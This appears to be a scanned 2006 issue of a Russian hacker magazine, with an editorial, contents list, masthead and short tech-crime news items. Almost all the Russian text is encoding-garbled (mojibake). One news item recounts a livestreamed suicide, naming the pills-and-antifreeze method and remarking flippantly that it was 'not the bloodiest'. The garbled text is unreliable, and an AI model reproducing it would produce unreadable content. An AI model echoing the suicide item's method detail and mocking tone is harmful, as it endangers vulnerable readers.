Issuu on Google+


INTRO CUTTAH /

ÍÀÂÅÐÍÎÅ, ÑËÛØÀË ÍÎÂÎÑÒÜ Î ÒÀÊ ÍÀÇÛÂÀÅÌÎÉ ÂÑÅÐÎÑÑÈÉÑÊÎÉ “ ÈÍÒÅÐÍÅÒ-ÏÅÐÅÏÈÑÈ? ×ÒÎ ÐÎÑÑÈÉÑÊÈÉ ÑÅÃÌÅÍÒ ÈÍÒÅÐÍÅÒÀ ÏÅÐÅÑÒÀÍÅÒ ÁÛÒÜ ÀÍÎÍÈÌÍÛÌ? ÄÎÑÒÓÏ ÌÎÆÍÎ ÁÓÄÅÒ ÏÎËÓ×ÈÒÜ ÒÎËÜÊÎ ÏÎÑËÅ ÏÐÅÄÚßÂËÅÍÈß ÏÀÑÏÎÐÒÀ. È ÂÑÅ ÄÀÍÍÛÅ ÁÓÄÓÒ ÂÍÎÑÈÒÜÑß Â ÎÍËÀÉÍÁÀÇÓ, ÊÎÒÎÐÀß ÁÓÄÅÒ ÄÎÑÒÓÏÍÀ ÔÑÁ. ÂÎÒ ÝÒÎ ÂÅÑÅËÛÉ ÆÅÑÒÊÀ×ÎÊ! ÒÀÊÎÅ ÎÙÓÙÅÍÈÅ, ×ÒÎ ÍÀØÅ ÃÎÑÓÄÀÐÑÒÂÎ ÓÆÅ ÎÒ×ÀßËÎÑÜ. ÊÎÍÅ×ÍÎ ÆÅ, ÂÑÅ ÏÅÐÅÑÒÀÍÅÒ ÁÛÒÜ ÀÍÎÍÈÌÍÛÌ. ÎÑÎÁÅÍÍÎ, ÊÎÃÄÀ ÂÇËÎÌÙÈÊ ÑÈÄÈÒ ×ÅÐÅÇ ÂÏÍ È ÅÙÅ ×ÅÐÅÇ ÂÇËÎÌÀÍÍÎÃÎ ÏÎËÜÇÎÂÀÒÅËß. ÁÅÄÍÛÉ ÏÎËÜÇÎÂÀÒÅËÜ, ÊÎÒÎÐÛÉ ÒÀÊ ÏÎÄÑÒÀÂËßÅÒÑß. À ÏÐÅÄÑÒÀÂÜ, ×ÒÎ ÁÓÄÅÒ, ÊÎÃÄÀ ÊÀÊÎÉ-ÍÈÁÓÄÜ ÕÀÊÅÐ ÂÇËÎÌÀÅÒ ÝÒÈ ÁÀÇÛ. ÒÎÃÄÀ ÄÅÉÑÒÂÈÒÅËÜÍÎ ÍÀÑÒÀÍÅÒ «ÒÎÒÀËÜÍÛÉ» ÊÎÍÒÐÎËÜ, ÒÎËÜÊÎ ÍÅ Ó ÑÏÅÖÑËÓÆÁ, À Ó ÏÐÅÑËÎÂÓÒÛÕ ÐÅÁßÒ, ÀÊÒÈÂÍÎ ÈÍÒÅÐÅÑÓÞÙÈÕÑß ÊÎÌÏÜÞÒÅÐÀÌÈ. ÇÄÅÑÜ ÍÀÄÎ ÍÅ ÏÀÑÏÎÐÒ ÒÐÅÁÎÂÀÒÜ, À ÌÅÍßÒÜ ÂÑÞ ÊÎÍÖÅÏÖÈÞ ÈÍÒÅÐÍÅÒÀ, ×ÒÎÁÛ ÏÎËÓ×ÈÒÜ ÊÎÍÒÐÎËÜ. ÑÀÌ ÏÎÍÈÌÀÅØÜ, ÂÐßÄ ËÈ ÏÎÄÎÁÍÎÅ ÑÂÅÐØÈÒÑß Â ÁËÈÆÀÉØÈÅ ÃÎÄÛ. ÊÀÊÎÉ ÁÛË ÁÅÑÏÐÅÄÅË, ÒÀÊÎÉ ÎÍ È ÎÑ-

ÒÀËÑß. ÒÀÊÈÅ ÂÎÒ ÄÅËÀ. ÒÀÊ ×ÒÎ ÎÑÒÀÂÀÉÑß ÀÍÎÍÈÌÍÛÌ…


INTRO..............................................................1 MEGANEWS....................................................4

ÌÅÒÀÂÅÑÅËÜÅ ÍÀ ÏÐÀÊÒÈÊÅ........................74 ÁÅÐÅÌ ÌÀÃÀÇÈÍÛ ÏÎÄ ÊÎÍÒÐÎËÜ.............76 ÎÁÇÎÐ ÝÊÑÏËÎÉÒÎÂ..................................... 79 ÃÎÑÓÄÀÐÑÒÂÎ Â ÏÎÇÅ...................................80 Õ-ÊÎÍÊÓÐÑ........................................................83

ÍÎÓÒÁÓÊ ÇÀ $100........................................16

FERRUM

SCENE

ÌÎÍÈÒÎÐÛ Â ÏÐÀÂÈËÜÍÎÌ ÔÎÐÌÀÒÅ......................................................18

ÇÎËÎÒÛÅ ÃÎÄÛ ÑÏÅÊÒÐÓÌÀ........................84 ÈÑÒÎÐÈß ÃÐÓÏÏÛ CULT OF THE DEAD COW.................................90 ÎÒ ÌÅÕÀÍÈ×ÅÑÊÎÃÎ ÊÀËÜÊÓËßÒÎÐÀ ÄÎ ÈÍÒÅÐÍÅÒ-ÒÅËÅÔÎÍÈÈ...........................92 WIKIPEDIA.........................................................100

PC_ZONE

ÑÄÅËÀÉ ÝÒÎ ÏÎ-ÁÛÑÒÐÎÌÓ....................24 FLASH WEAPON............................................28 ÑÒÀÍÎÂÈÌÑß ÌÀÊÀÊÀÌÈ.........................32 Ó×ÅÁÍÈÊ ÏÎ ÀÍÀÒÎÌÈÈ...........................38

UNIXOID

ÄÈÇÀÉÍ

ËÈËÎÂÀß ÃÐÓÁÎÑÒÜ......................................104 ÂÎÉÍÀ ÌÈÐÎÂ: EXT2 VS EXT3.....................108 ÑÈÑÒÅÌÀ ÁÅÇÎÏÀÑÍÎÑÒÈ PAM ÈÇÍÓÒÐÈ..110

ÑÎÇÄÀÅÌ ÕÈÌÅÐÓ......................................42 ÄÅÂÓØÊÈ ÕÀÊÅÐÀ È ÊÎÄÅÐÀ...................46

CODING

ÈÌÏËÀÍÒ

ÂÛ ÐÎÁÎÒ?...................................................48

ÄÐÅÑÑÈÐÎÂÀÍÍÛÅ ÎÊÍÀ.............................116  ÏÐßÒÊÈ Ñ ÎÒËÀÄ÷ÈÊÎÌ...........................120

ÐÅÀÊÖÈß È ÈÍÒÅÐÍÅÒÀ ÍÀ ÁÀÃÈ............53

CREATIFF

ÈÍÒÅÐÂÜÞ.......................................................128

VZLOM

UNITS

HACK-FAQ......................................................54 ÏÐÎÃÐÀÌÌÍÎÅ ÐÀÇÐÓØÅÍÈÅ.................56 ÊÀÊ ÐÅÄÀÊÒÎÐÛ ÑËÅÄßÒ ÇÀ ÁÅÇÎÏÀÑÍÎÑÒÜÞ................................59 ÍÎÂÎÃÎÄÍÈÉ ÄÀÌÏ ÓÊÐÒÅËÅÊÎÌÀ......60 ÊÎÍÔÅÐÅÍÖÈß ÕÀÊÅÐÎÂ.........................64 WMF: ÁÀÃ ÃÎÄÀ...........................................68

84

59

WWW.....................................................................136 FAQ.....................................................................138 ÄÈÑÊÎ..............................................................142 ØÀÐÎWAREZ...................................................145 Å-MAIL...............................................................155 ÕÓÌÎÐ..............................................................158

68


/ÐÅÄÀÊÖÈß >Ãëàâíûé ðåäàêòîð Èâàí «CuTTer» Ïåòðîâ (cutter@real.xakep.ru) >Çàìãëàâðåä Íèêèòà «Nikitos» Êèñëèöèí (nikitoz@real.xakep.ru) >Âûïóñêàþùèé ðåäàêòîð Àëåêñàíäð «Dr.Klouniz» Ëîçîâñêèé (alexander@real.xakep.ru) >Ðåäàêòîðû ðóáðèê ÂÇËÎÌ Íèêèòà «Nikitos» Êèñëèöèí (nikitoz@real.xakep.ru) PC_ZONE è UNITS Àðòåì «b00b1ik» Àíèêèí (b00b1ik@real.xakep.ru) ÑÖÅÍÀ Îëåã «mindw0rk» ×åáåíååâ (mindw0rk@real.xakep.ru) UNIXOID Àíäðåé «Andrushock» Ìàòâååâ (andrushock@real.xakep.ru) ÊÎÄÈÍà Íèêîëàé «GorluM» Àíäðååâ

(gorlum@real.xakep.ru) ÈÌÏËÀÍÒ Àëåêñ Öåëûõ (editor@technews.ru) DVD/CD Ñòåïàí «Step» Èëüèí (step@real.xakep.ru) ÂÈÄÅÎ ÏÎ ÂÇËÎÌÓ Îëåã «NSD» Òîëñòûõ (nsd@nsd.ru) >Ëèòåðàòóðíûé ðåäàêòîð Àííà Áîëüøîâà /ART >Àðò-ä äèðåêòîð Êîíñòàíòèí Îáóõîâ (obukhov@real.xakep.ru) >Äèçàéíåðû Åãîð Òóëèí Ìàêñèì Ñïèâàêîâ /INET >WebBoss Ñêâîðöîâà Àëåíà (Alyona@real.xakep.ru) >Ðåäàêòîð ñàéòà Ëåîíèä Áîãîëþáîâ (xa@real.xakep.ru)

/ÐÅÊËÀÌÀ >Äèðåêòîð ïî ðåêëàìå gameland Èãîðü Ïèñêóíîâ (igor@gameland.ru) > Ðóêîâîäèòåëü îòäåëà ðåêëàìû öèôðîâîé ãðóïïû Áàñîâà Îëüãà (olga@gameland.ru) >Ìåíåäæåðû îòäåëà Åìåëüÿíöåâà Îëüãà (olgaeml@gameland.ru) Àëåõèíà Îêñàíà (alekhina@gameland.ru) Àëåêñàíäð Áåëîâ (belov@gameland.ru) Ãîðÿ÷åâà Åâãåíèÿ (goryacheva@gameland.ru) > Òðàôèê ìåíåäæåð Ìàðüÿ Àëåêñååâà (alekseeva@gameland.ru) /PUBLISHING >Èçäàòåëü Ñåðãåé Ïîêðîâñêèé (pokrovsky@gameland.ru) >Ó÷ðåäèòåëü ÎÎÎ «Ãåéì Ëýíä» >Äèðåêòîð Äìèòðèé Àãàðóíîâ (dmitri@gameland.ru)

>Ôèíàíñîâûé äèðåêòîð Áîðèñ Ñêâîðöîâ (boris@gameland.ru) /ÎÏÒÎÂÀß ÏÐÎÄÀÆÀ >Äèðåêòîð îòäåëà äèñòðèáóöèè è ìàðêåòèíãà Âëàäèìèð Ñìèðíîâ (vladimir@gameland.ru) >Îïòîâîå ðàñïðîñòðàíåíèå Ñòåïàíîâ Àíäðåé (andrey@gameland.ru) >Ñâÿçü ñ ðåãèîíàìè Íàñåäêèí Àíäðåé (nasedkin@gameland.ru) >Ïîäïèñêà Ïîïîâ Àëåêñåé (popov@gameland.ru) òåë.: (095) 935.70.34 ôàêñ: (095) 780.88.24 > ÃÎÐß×Àß ËÈÍÈß ÏÎ ÏÎÄÏÈÑÊÅ òåë.: 8 (800) 200.3.999 Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè > ÄËß ÏÈÑÅÌ 101000, Ìîñêâà, Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð magazine@real.xakep.ru http://www.xakep.ru

Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè, òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ 11802 êîììóíèêàöèé ÏÈ ß 77-1 îò 14 ôåâðàëÿ 2002 ã. Îòïå÷àòàíî â òèïîãðàôèè «ScanWeb», Ôèíëÿíäèÿ Òèðàæ 100 000 ýêçåìïëÿðîâ. Öåíà äîãîâîðíàÿ. Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ óâåäîìëÿåò: âñå ìàòåðèàëû â íîìåðå ïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ ê ðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèå äàííóþ èíôîðìàöèþ â ïðîòèâîçàêîííûõ öåëÿõ, ìîãóò áûòü ïðèâëå÷åíû ê îòâåòñòâåííîñòè. Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ îòâåòñòâåííîñòè íå íåñåò. Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ áåç ñïðîñà — ïðåñëåäóåì.


MEGA

NEWS ÐÈÀËÈÒÈ-ØÎÓ ÎÒ ÑÀÌÎÓÁÈÉÖÛ Êàêèõ òîëüêî ðåàëèòè-øîó â íàøå âðåìÿ íåò. Íà÷èíàÿ áëóæäàíèÿìè ïî ýêçîòè÷åñêèì îñòðîâàì ñ öåëüþ äîáûòü ïðîïèòàíèå, çàêàí÷èâàÿ òðàíñëÿöèåé ïðîöåññà ñòðîéêè ðóññêèìè ñòóäåíòàìè, êîòîðûå ïîïóòíî ñòðîÿò îòíîøåíèÿ äðóã ñ äðóãîì. Íî òîãî, ÷òî çàäóìàë 21-ëåòíèé àìåðèêàíåö Ìèò÷åëë Ñ. åùå íå ïîêàçûâàë íèêòî. Ïàðåíü ðåøèë îòïðàâèòü ñåáÿ íà òîò ñâåò, ïðè÷åì íå ïðîñòî òàê, à íà ãëàçàõ âñåãî Èíòåðíåòà. Ïðàâäà, ñïîñîá âûáðàë, ê ñîæàëåíèþ, íå ñàìûé êðîâàâûé. Ëþáèòåëü îíëàéíîâûõ èãð íàáðàë ðàçíûõ òàáëåòîê, çàïàññÿ ìàøèííûì àíòèôðèçîì è â íàçíà÷åííûé äåíü, óêàçàííûé íà èãðîâîì ôîðóìå, âëèë âñå ýòî â ñåáÿ. Ìíîãèå èç çðèòåëåé ñ÷èòàëè, ÷òî ïàðíèøêà øóòèò, ðàññêàçûâàÿ î ñâîèõ æèçíåííûõ ïðîáëåìàõ, íàìåðåíèè ïîêîí÷èòü æèçíü ñàìîóáèéñòâîì è î ñèìïòîìàõ ïîñëå óïîòðåáëåíèÿ õèìèêàòîâ. Íî, êîãäà îí â î÷åðåäíîé ðàç íå ïîÿâèëñÿ â îáúåêòèâå âèäåîêàìåðû, íà âñÿêèé ñëó÷àé íàâåäàëèñü ê íåìó äîìîé. Òîëüêî áûëî óæå ïîçäíî: 7 ÿíâàðÿ Ìèò÷åëë ñêîí÷àëñÿ â áîëüíèöå. Ñàéò Metalgearsolid.org, ãäå áåäíÿãà îïèñûâàë ñâîè ñòðàäàíèÿ, ïîëèöèÿ íà âðåìÿ ðàññëåäîâàíèÿ ïðèêðûëà, íî åãî âëàäåëüöû çàâåðÿþò, ÷òî íå íåñóò íèêàêîé îòâåòñòâåííîñòè çà ïóáëèêóåìûé êîíòåíò è íå ìîãóò ñëåäèòü çà âñåìè ïîñòàìè áîëåå ÷åì 5 òûñÿ÷ ïîñåòèòåëåé.

ÌÓËÜÒßØÍÀß ÏÎËÈÖÈß ÍÀ ÑÒÐÀÆÅ ÊÈÒÀß Êèòàéöû â ïîñëåäíåå âðåìÿ âñå ñåðüåçíåå ïîäõîäÿò ê êîíòðîëþ íàä êîíòåíòîì, êîòîðûé êèòàéñêèå þçåðû ìîãóò ñåðôèòü â Ñåòè. Òîëüêî çà ïîñëåäíèé ãîä â ýòîé ñòðàíå ê èíåòó ïîäêëþ÷èëîñü 17 ìèëëèîíîâ ÷åëîâåê, à âñåãî êîëè÷åñòâî êèòàéñêèõ ñåòåâèêîâ äîñòèãàåò 111 ìèëëèîíîâ. Ïîïðîáóé òóò óñëåäè çà êàæäûì. Íî Øåíü÷æýíñêîå ïîäðàçäåëåíèå êîíòðîëÿ çà Èíòåðíåòîì ñ÷èòàåò, ÷òî íè÷åãî íåâîçìîæíîãî íåò, è ââåëî íîâûé ñåðâèñ — âèðòóàëüíóþ ïîëèöèþ. Çâó÷èò ãðîçíî, íî íà ñàìîì äåëå ïîëèöåéñêèå ýòè íàðèñîâàííûå è áóäóò ðàçìåùàòüñÿ íà ãîðîäñêèõ ñàéòàõ ïî òèïó ìóëüòÿøíûõ àâàòîðîâ â âèðòóàëüíîì ó÷åáíèêå Windows. Àíèìåøíûå êîïû áóäóò ïîìîãàòü þçåðó ðàçíûìè ñîâåòàìè, íàïîìèíàòü î òîì, êàê ëó÷øå âñåãî èñïîëüçîâàòü Èòåðíåò è íà êàêèõ ñàéòàõ ïîëåçíåå âñåãî áûâàòü, à òàêæå ãðîçèòü ïàëü÷èêîì, åñëè íåõîðîøèé êèòàåö âäðóã çàäóìàåò ïîãðåøèòü ïîðíóøêîé. Îáñëóæèâàòü ðèñîâàííûõ ïåðñîíàæåé â ïîëèöåéñêîé ôîðìå áóäóò 6 íàñòîÿùèõ êèòàéñêèõ êîïîâ, òàê ÷òî âñå äîâîëüíî ñåðüåçíî. Ïðàâäà, ïîêà íåÿñíî, íà êàêèõ èìåííî ñàéòàõ áóäóò ðàçìåùåíû àâàòîðû, è õâàòèò ëè ó Êèòàÿ ïîëèöåéñêèõ, ÷òîáû äåðæàòü ïîä êîíòðîëåì âåñü ñåòåâîé êîíòåíò. Ïîæèâåì — óâèäèì.

004

HITECHNEWS Ôåäîð «fm» Ãàëêîâ (ICQ 3266669) HARDNEWS Ôåäîð Äîáðÿíñêèé ][NEWS Îëåã ×åáåíååâ

][NEWS

ÐÝÊÅÒ ÑÀÉÒÀ ÇÀ ÌÈËËÈÎÍ ÄÎËËÀÐÎÂ

Åñëè òû òîðãóåøü íà ðûíêå äûíÿìè è àðáóçàìè, òî äîëæåí çíàòü, ÷òî äèðåêòîð ðûíêà — íå ñàìûé ãëàâíûé âðàã. Íàñòîÿùåå çëî — ðýêåòèðû. Ïîäõîäèò ê òåáå òàêîé âåñü íàêà÷àííûé ñïîðòñìåí è ïðîñèò ìíîãî äåíåã ÿêîáû çà çàùèòó îò äðóãèõ íàêà÷àííûõ ñïîðòñìåíîâ. Ïðèõîäèòñÿ îòñòåãèâàòü.  íàøå âðåìÿ ðýêåò óæå âûøåë çà ãðàíèöû ðûíêîâ è ïåðåáðàëñÿ â Èíòåðíåò. Òèïè÷íûì ïðèìåðîì ñòàë íåäàâíûé ñëó÷àé, êîòîðûé ïðîèçîøåë ñ Àëåêñîì Òüþ — 21-ëåòíèì ñòóäåíòîì, àâòîðîì ñàéòà, ñäåëàâøåãî åãî ìèëëèîíåðîì. Èäåÿ ñàéòà áûëà ïðîñòîé: Àëåêñ ñîçäàë íà ñòðàíè÷êå ñåòêó èç 10 òûñÿ÷ êâàäðàòîâ ðàçìåðîì 10x10 ïèêñåëåé êàæäûé. Ëþáîé æåëàþùèé ìîæåò ðàçìåñòèòü â îäíîì èç êâàäðàòîâ ðåêëàìó ñî ññûëêîé íà ñâîé ñàéò. Âíèìàíèå ÑÌÈ ñäåëàëî ñàéò èçâåñòíûì, òàê ÷òî æåëàþùèõ îñòàâèòü ñâîé áàííåð íàøëîñü íåìàëî. Áðèòàíñêèé ñòóäåíò ïîäíÿë íà ðåêëàìå ëèìîí áàêñîâ âñåãî çà 4 ìåñÿöà. Òóò òî è ïîêàçàëèñü «áðàòêè». Âèðòóàëüíûå ñïîðòñìåíû ñêðîìíî ïîïðîñèëè 5 òûñÿ÷, óãðîæàÿ â ïðîòèâíîì ñëó÷àå õàêíóòü ñàéò. Àëåêñ ïëàòèòü îòêàçàëñÿ, è 10 ÿíâàðÿ, êîãäà îòïóùåííûé åìó ñðîê èñòåê, íà www.milliondollarhomepage.com îáðóøèëàñü øêâàëüíàÿ DDoS-àòàêà. Ïîêàçàâ, ÷òî îíè íå øóòÿò, âûìîãàòåëè ñâÿçàëèñü ñ âëàäåëüöåì åùå ðàç è òåïåðü óæå ïîòðåáîâàëè 50 øòóê. Ïîñëå ÷åãî Àëåêñ îáðàòèëñÿ â ïîëèöèþ. Íàéòè õàêåðîâ îðãàíàì ïîêà íå óäàëîñü. Ãîâîðÿò, ñëåäû âåäóò â Ðîññèþ.

ÊÐÓÏÍÀß ÐÛÁÀ  êîìïüþòåðíîì àíäåãðàóíäå õîäÿò áàéêè, ÷òî ïîëèöèÿ íè íà ÷òî íå ñïîñîáíà, à åñëè è ëîâèò õàêåðîâ, òî òîëüêî òåõ, êîòîðûå âîðóþò ïàðîëè íà äèàëàï.  Èñïàíèè êîïû â î÷åðåäíîé ðàç äîêàçàëè, ÷òî åùå íà ÷òî-òî ãîäíû.  ñåðåäèíå ÿíâàðÿ â ýòîé ñòðàíå àðåñòîâàëè ìåñòíîãî æèòåëÿ, êîòîðîãî ïîäîçðåâàþò â ïðè÷àñòíîñòè ê ñåòåâûì à��àêàì íà êîìïüþòåðû àìåðèêàíñêîé âîåííîé áàçû Point Loma, óïðàâëÿþùåé àòîìíûìè ïîäâîäíûìè ëîäêàìè. Ïðàâäà, âûñëåäèëè âçëîìùèêà íå èñïàíöû, à ÔÁÐ. Òàê æå â çàÿâëåíèè ïðåññå ïðåäñòàâèòåëè âëàñòè ñêàçàëè, ÷òî, âîçìîæíî, ýòîò æå õàêåð — ÷ëåí ãðóïïû, íåîäíîêðàòíî àòàêîâàâøåé âîåííûå êîìïüþòåðíûå ñèñòåìû ðàçíûõ ñòðàí è íàíåñøåé âðåä â ðàéîíå 500 òûñÿ÷ äîëëàðîâ. Ïîêà ïîëèöèÿ ñîáèðàåò äîêàçàòåëüñòâà âèíû, è åñëè íà ñóäå èñïàíöà ïðèçíàþò âèíîâíûì, òî íåáîëüøèì øòðàôîì îí íå îòäåëàåòñÿ. XÀÊÅÐ 02 /86/ 06


][NEWS

][NEWS

ÁÎÐÅÖ ÑÎ ÑÏÀÌÎÌ ÎÊÀÇÀËÑß ÑÏÀÌÅÐÎÌ

ÑËÓ×ÀÉÍÀ ËÈ ËÀÇÅÉÊÀ?

 ÑØÀ ìíîãî ðàçíûõ áîðöîâ ñî ñïàìîì. Îäèí èç íèõ — ãåíåðàëüíûé ïðîêóðîð øòàòà Ôëîðèäà, êîòîðûé ïîëó÷èë èçâåñòíîñòü áëàãîäàðÿ íåïðèìèðèìîé âîéíå ñ ãëàâíûì ñåòåâûì çëîì. ×àðëè Êðèñò ñïîñîáñòâîâàë â ñâîå âðåìÿ ïðîäâèæåíèþ çàêîíà, ñîãëàñíî êîòîðîìó çà êàæäîå îòïðàâëåííîå ïèñüìî ñïàìåð ìîæåò ïîëó÷èòü äî 500 äîëëàðîâ øòðàôà. Íî ïîñëå òîãî, êàê âî Ôëîðèäå íà÷àëèñü ãóáåðíàòîðñêèå âûáîðû, à ïðîêóðîð âûäâèíóë ñâîþ êàíäèäàòóðó â ñïèñîê ïðåòåíäåíòîâ, åãî àíòèñïàìåðñêèå ñòðàñòè ïîóòèõëè. Áîëåå òîãî, îêàçàëîñü, ÷òî â ïðåäâûáîðíîé êîìïàíèè ðàññûëêà ðåêëàìíûõ ìåññàã ñ ïèàðîì ñåáÿ ëþáèìîãî ÿâëÿåòñÿ îäíèì èç ñàìûõ ýôôåêòèâíûõ ñðåäñòâ. Òàê ÷òî ×àðëè âìåñòå ñî ñâîåé ñâèòîé îðãàíèçîâàëè ìàññîâóþ ðàññûëêó, îáåùàÿ èçáèðàòåëÿì çåìíûå áëàãà. Ñïàì îò êàíäèäàòà íà ãóáåðíàòîðñêèé ïîñò íå ïðåêðàòèëñÿ äàæå ïîñëå òîãî, êàê íåêîòîðûå íåâîëüíûå ïîäïèñ÷èêè îòïðàâèëè ïî íåñêîëüêî ðàç ïðîñüáó ïðåêðàòèòü âûñûëàòü ïðåäâûáîðíóþ ìóêóëàòóðó. Âî Ôëîðèäå ïðî «ÿðîãî áîðöà ñî ñïàìîì» óæå ñòàëè ñëàãàòü àíåêäîòû, íî ñîðàòíèêè Êðèñòà âîâñå íå ñ÷èòàþò ñâîåãî ïðåäâîäèòåëÿ ñïàìåðîì. Îñíîâíîé èõ àðãóìåíò çâó÷èò òàê: «Ïî çàêîíó øòàòà, ñïàì — ýòî ðàññûëêà ñîîáùåíèé, ââîäÿùèõ ïîëó÷àòåëÿ â çàáëóæäåíèå, à â ïèñüìàõ, ðàññûëàåìûõ îò ëèöà ×àðëè, ñîäåðæèòñÿ òîëüêî ïðàâäà è íè÷åãî, êðîìå ïðàâäû».

ÃÓÁÅÐÍÀÒÎÐÀ ÏÈÒÅÐÀ ÂÈÐÒÓÀËÜÍÎ «ÏÐÈÃÎÂÎÐÈËÈ»  Ïèòåðå ñåé÷àñ ïîëíûì õîäîì èäåò ñóä íàä íåêèì Àëåêñàíäðîì Âòóëêèíûì. Ïàðåíü íèêîãî íå óáèâàë è íå íàñèëîâàë — ïðèêîëîëñÿ ïðîñòî íå â òåìó.  êîíöå èþëÿ 2004 ãîäà íà ôîðóìå ñàéòà Ôîíòàíêà.ðó Ñàøà çàïîñòèë ñîîáùåíèå, ÷òî òðèáóíà «Ïàðòèè Ñâîáîäû» âûíåñ ñìåðòíûé ïðèãîâîð ãóáåðíàòîðó Ñàíêò-Ïåòåðáóðãà Âàëåíòèíå Ìàòâèåíêî çà àíòèðóññêóþ ïîëèòèêó è çàñåëåíèå ãîðîäà âûõîäöàìè ñ Êàâêàçà è Àçèè. Òàì æå óêàçûâàëèñü ñðîêè, â êîòîðûå ãóáåðíàòîðà íàäëåæàëî ïîâåñèòü. Âîò òàê âîò ðåøèë ïîøóòèòü ñëàâíûé ïàðåíü Ñàøà. Òîëüêî ìèëèöèÿ þìîð íå ðàçäåëèëà è îòíåñëàñü ê ñîîáùåíèþ, êàê ê ðåàëüíîé óãðîçå. Àâòîðà òåêñòà âû÷èñëèëè íà óäèâëåíèå áûñòðî. Îðãàíû óñòàíîâèëè, ÷òî ïîñò áûë ñäåëàí èç èíòåðíåò-êàôå íà Ìîñêîâñêîì âîêçàëå, áëàãîäàðÿ âèäåîêàìåðàì óäàëîñü ïîëó÷èòü ôîòîãðàôèþ «øóòíèêà». È, òàê êàê ëèöî îêàçàëîñü ìèëèöèè çíàêîìûì (Âòóëêèí íàçûâàë ñåáÿ ìèíèñòðîì íàöèîíàëüíîé áåçîïàñíîñòè ñàìîïðîâîçãëàøåííîé «Ðóññêîé Ðåñïóáëèêè»), óæå íà ñëåäóþùèé äåíü îí îêàçàëñÿ â ðóêàõ ïðàâîîõðàíèòåëüíûõ îðãàíîâ. Ïðîêóðàòóðà âîçáóäèëà äåëî ïî ñòàòüå 119 ÓÊ ÐÔ (óãðîçà óáèéñòâîì), íî ñî âðåìåíåì ñïóñòèëàñü ê áîëåå «ìÿãêîé» ñòàòüå 282 (ðàñïðîñòðàíåíèå çëîíàìåðåííîé èíôû). È âîò òåïåðü (ñïóñòÿ ïîëòîðà ãîäà) îíî äîøëî äî ñóäà. ×åì çàêîí÷èòñÿ èñòîðèÿ ñ âèðòóàëüíûìè óãðîçàìè, åñëè ýòî ìîæíî òàê íàçâàòü, ïîêà íåèçâåñòíî.

006

Áîëüøèíñòâî áàãîâ â ïðîãðàììàõ ñïèñûâàþò íà íåâíèìàòåëüíîñòü ïðîãðàììèñòà, íåäîðàáîòêó êîäà.  ñàìîì äåëå, òðóäíî ïðåäóñìîòðåòü âñå, êîãäà òû ïèøåøü êîä íà 100 òûñÿ÷ ñòðîê. Íî Ñòèâåí Ãèáñîí, security-ýêñïåðò è ðóêîâîäèòåëü ñîáñòâåííîé security-êîìïàíèè, ñ÷èòàåò, ÷òî îäíà èç ïîñëåäíèõ íàéäåííûõ â Windows äûð îêàçàëàñü òàì ñîâñåì íå ñëó÷àéíî. Ðå÷ü èäåò î ïðîáëåìå îáðàáîòêè èçîáðàæåíèé â ôîðìàòå WMF, êîòîðûé, ïî ìíåíèþ Ãèáñîíà, íåò íóæäû ïîääåðæèâàòü â ñîâðåìåííîé ñèñòåìå âîîáùå. È Microsoft, ïðîäîëæàÿ åãî èñïîëüçîâàòü, ÿêîáû ñîçäàåò ñåáå äîïîëíèòåëüíóþ ëàçåéêó, ÷òîáû ïðè æåëàíèè ïîëó÷èòü äîñòóï ê êîìïüþòåðàì ñâîèõ ïîëüçîâàòåëåé. Âïðî÷åì, ìûñëü Ñòèâåíà íå ïîëüçóåòñÿ ïîääåðæêîé ñðåäè êîëëåã. Íà Slashdot’å åãî äðóæíî îñìåÿëè, íàçâàâ ïàðàíîèêîì, âèäÿùåì ïîâñþäó çàãîâîð. Ïî ìíåíèþ äèðåêòîðà iDefence Ìàéêëà Ñþòòîíà, ïîäîáíûé ðèñê äëÿ Microsoft íåîïðàâäàí, ê òîìó æå åñëè áû êîìïàíèÿ õîòåëà óñòàíîâèòü ëàçåéêó, îíà áû âûáðàëà ìåíåå çàìåòíîå ìåñòî. Ñàìà Microsoft íèêàê íå ïðîêîììåíòèðîâàëà çàÿâëåíèå Ãèáñîíà, à òîëüêî ïîîáåùàëà ïîñêîðåå óñòðàíèòü óÿçâèìîñòü.

ÏÈÐÀÒÑÊÈÉ ÌÈÒÈÍà «Òðåáóåì îòìåíû àíòèïèðàòñêèõ ðåïðåññèé!», «Äàåøü ïèðàòñêèé âàðåç â ìàññû!», «Ìîÿ ñåìüÿ ãîëîäàåò, íå ëèøàéòå ìåíÿ çàðàáîòêà!» — ñ òàêèìè ïëàêàòàìè íåäàâíî âûøëè íà óëèöó íåñêîëüêî äåñÿòêîâ æèòåëåé ãîðîäà Ñàí-Ñàëüâàäîð. Ïðè÷èíîé òàêîãî ìèòèíãà ïîñëóæèëè èçìåíåíèÿ â çàêîíîïðîåêòå, ïîçâîëÿþùèå ïîëèöèè êîíôèñêîâàòü ëþáîé òîâàð, íå èìåþùèé ëèöåíçèè.  ïåðâóþ î÷åðåäü ýòî êàñàåòñÿ ïèðàòñêîãî âèäåî è àóäèî, ñëåäîì èäåò ñîôò. Íîâûé çàêîí áûë ââåäåí â êîíöå 2005 ãîäà, è ïîëèöèÿ óæå óñïåëà èì âîñïîëüçîâàòüñÿ äëÿ îðãàíèçàöèè ðåéäîâ íà ïèðàòñêèå òî÷êè. Ïèðàòû ñ òàêèì ïîëîæåíèåì äåë ñìèðèòüñÿ íå ñìîãëè è, âçÿâ òðàíñïàðàíòû, âûøëè íà óëèöû ãîðîäà îòñòàèâàòü ñâîè ïðàâà. ×òî èíòåðåñíî, ïðåçèäåíò Àíòîíèî Ñàêà íå ðàçîãíàë íàãëåöîâ, à äàæå ïîîáåùàë ïîäóìàòü, êàê èì ïîìî÷ü, ÷òîáû ïðîäàâöû êîíòðàôàêòîâ ìîãëè òîðãîâàòü è äàëüøå, íî òîëüêî ëåãàëüíîé ïðîäóêöèåé.

